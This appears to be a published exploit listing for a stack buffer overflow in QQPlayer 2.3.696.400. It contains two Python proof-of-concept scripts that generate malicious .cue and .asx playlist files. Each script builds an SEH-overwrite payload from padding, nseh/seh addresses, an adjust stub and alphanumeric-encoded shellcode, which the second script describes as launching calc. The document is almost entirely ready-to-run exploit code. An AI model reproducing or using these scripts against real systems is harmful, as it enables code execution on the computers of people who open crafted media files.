QQ影音ASX和CUE文件处理栈溢出漏洞

#!/usr/bin/env python ################################################################# # # Title: QQPlayer cue File Buffer Overflow Exploit # Author: Lufeng Li of Neusoft Corporation # Vendor: www.qq.com # Platform: Windows XPSP3 Chinese Simplified # Tested: QQPlayer 2.3.696.400 # Vulnerable: QQPlayer<=2.3.696.400p1 # ################################################################# # Code : head = '''FILE "''' junk = "A" * 780 nseh ="\x42\x61\x21\x61" seh ="\xa9\x9e\x41\x00" adjust="\x32\x42\x61\x33\xca\x83\xc0\x10" shellcode=("hffffk4diFkTpj02Tpk0T0AuEE2C4s4o0t0w174t0c7L0T0V7L2z1l131o2q1k2D1l081o" "0v1o0a7O2r0T3w3e1P0a7o0a3Y3K0l3w038N5L0c5p8K354q2j8N5O00PYVTX10X41PZ41" "H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE2C5CJO1E0G1I4T1R2M0T1V7L1TKL2CK" "NK0KN2EKL08KN1FKO1Q7LML2N3W46607K7N684H310I9W025DOL1S905A4D802Z5DOO01") junk_="R"*8000 foot ='''.avi" VIDEO'''+"\x0a"'''TRACK 02 MODE1/8888'''+"\x0a"+"INDEX 08 08:08:08" payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot fobj = open("poc.cue","w") fobj.write(payload) fobj.close() ========================================================= ################################################################# # # Title: QQPlayer asx File Processing Buffer Overflow Exploit # Author: Li Qingshan of Information Security Engineering Center,School of Software and Microelectronics,Peking University # Vendor: www.qq.com # Platform: Windows XPSP3 Chinese Simplified # Test: QQPlayer 2.3.696.400 # Vulnerable: QQPlayer<=2.3.696.400p1 # Payload = calc # ################################################################# # Code : head ='''<ASX version="3.0"> <Entry> <REF HREF="mms://site.com/ach/music/smpl/LACA-05928-002-tes_''' junk = "A" * 1975 #English XP SP3 users, try 1984 bytes instead nseh ="\x42\x61\x21\x61" seh ="\xa9\x9e\x41\x00" adjust="\x30\x83\xc0\x0c" shellcode=("PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLM8LI5PUPUPSPMYZEV" "QN2BDLKPRVPLKQB4LLK0RR4LKSBWX4ONW1ZWVFQKO6QO0NLWL3QSLS26L7PIQ8ODM5QIWKRZPPRQGL" "KQB4PLKPB7L5QXPLKQP2XK5IP44QZ5QXPPPLKQX4XLKQHGPUQN3KSGLQYLKP4LKUQ9FFQKOVQO0NL9" "QXODM5QYWFXKPD5JT4C3MZXWK3MWTT5KRPXLKQHWTEQ8SCVLKTLPKLKQH5LEQN3LKS4LKC1XPMY1TW" "TGT1KQKSQ0YPZ0QKOKP0XQOQJLKTRJKMVQMCZUQLMLEOIUPUPC0PPRHP1LKROLGKON5OKZPNUORF6R" "HOVLUOMMMKOIE7LC6SLUZMPKKM0BU5UOKQWB32R2ORJ5PPSKOHUE3512LSS6N3U2X3UUPDJA") junk_="R"*8000 foot ='''_playlis.wma"/> </Entry> </ASX>''' payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot fobj = open("poc.asx","w") fobj.write(payload) fobj.close()